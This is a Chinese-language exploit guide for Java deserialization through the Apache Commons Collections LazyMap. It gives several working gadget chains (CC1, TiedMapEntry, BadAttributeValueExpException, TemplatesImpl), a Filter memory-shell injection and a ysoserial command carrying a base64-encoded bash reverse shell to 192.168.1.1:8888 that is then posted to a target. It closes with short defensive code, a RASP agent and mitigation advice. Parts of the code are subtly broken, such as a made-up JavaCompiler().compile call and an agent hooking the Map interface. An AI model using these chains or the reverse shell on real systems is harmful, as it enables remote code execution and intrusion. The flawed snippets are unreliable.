Java LazyMap的深度利用技巧
字数 954 2025-08-29 08:29:59
Apache Commons Collections LazyMap深度利用与防御指南
一、LazyMap核心机制
LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer转换器:
public class LazyMap extends AbstractMapDecorator {
private final Transformer factory;
public Object get(Object key) {
if (!map.containsKey(key)) { // 当Key不存在时
Object value = factory.transform(key); // 触发转换器
map.put(key, value);
return value;
}
return map.get(key);
}
}
关键特性:
- 延迟加载机制:只有在首次访问不存在的key时才会触发转换
- Transformer接口:允许自定义键值转换逻辑
- 装饰器模式:扩展HashMap的功能而不修改其结构
二、经典攻击链构造(CC1)
1. 基础利用代码
// 构造命令执行链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
return method.invoke(lazyMap, args);
}
}
);
// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();
// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
触发原理
- 反序列化proxyMap时触发InvocationHandler.invoke()
- 调用LazyMap.get()方法
- 执行ChainedTransformer.transform()链式调用
- 最终执行Runtime.exec()命令
三、绕过技巧
1. JDK 8u71+ 绕过(结合TiedMapEntry)
// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");
// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo"); // 初始化HashSet
// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);
// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 注入恶意Entry
绕过原理
- 利用TiedMapEntry.toString()自动调用getValue()
- HashSet反序列化时自动触发hashCode()计算
- 不依赖动态代理机制,适用于高版本JDK
四、内存马注入技巧
1. Web层内存马(Filter型)
Transformer[] memShellChain = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"javax.servlet.Filter"}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
2. 字节码驻留技巧
// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
new ConstantTransformer(TemplatesImpl.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer("getOutputProperties", null, null)
};
五、防御对抗艺术
1. 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES =
Set.of("java.lang.String", "java.util.ArrayList");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException("Unauthorized class: ", className);
}
return super.resolveClass(desc);
}
}
2. RASP防御示例
// 使用Java Agent拦截关键方法
public class DeserializationAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("java/util/Map")) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new LazyMapDetector(cw);
cr.accept(cv, 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if (name.equals("get")) {
mv.visitCode();
mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkLazyMapAccess");
mv.visitEnd();
}
return mv;
}
}
六、检测与验证
1. 漏洞验证命令
# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin
# 发送到测试环境
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
2. 代码审计关注点
// 危险调用模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
XStream.fromXML(xmlInput) // XStream反序列化
七、高级利用技巧
1. 利用BadAttributeValueExpException绕过防御
// 构造LazyMap链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 构造TiedMapEntry并注入恶意对象
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
// 反射设置val属性
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);
// 序列化触发
serialize(exp);
2. 非Runtime.exec()执行方式
// 基于类加载的字节码注入
String code = "public class Evil { static { Runtime.getRuntime().exec(\"calc\"); } }";
byte[] bytecode = new JavaCompiler().compile(code);
// 构造TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Evil");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
八、总结与演进方向
攻击趋势
- 从单一链式调用 → 多技术组合(如JNDI + 反序列化)
- 从本地命令执行 → 远程代码加载(规避本地特征检测)
防御策略
- 启用SecurityManager限制反射操作
- 使用SerialKiller等安全反序列化库
- 定期更新Commons Collections等组件版本
- 实施最小权限原则,限制敏感操作
- 部署RASP进行运行时保护
演进思考
- 攻击本质:利用Java反序列化机制将数据结构转换为代码执行
- 防御哲学:输入验证、权限控制、行为监控三位一体
- 未来方向:结合AI技术进行异常行为检测和防御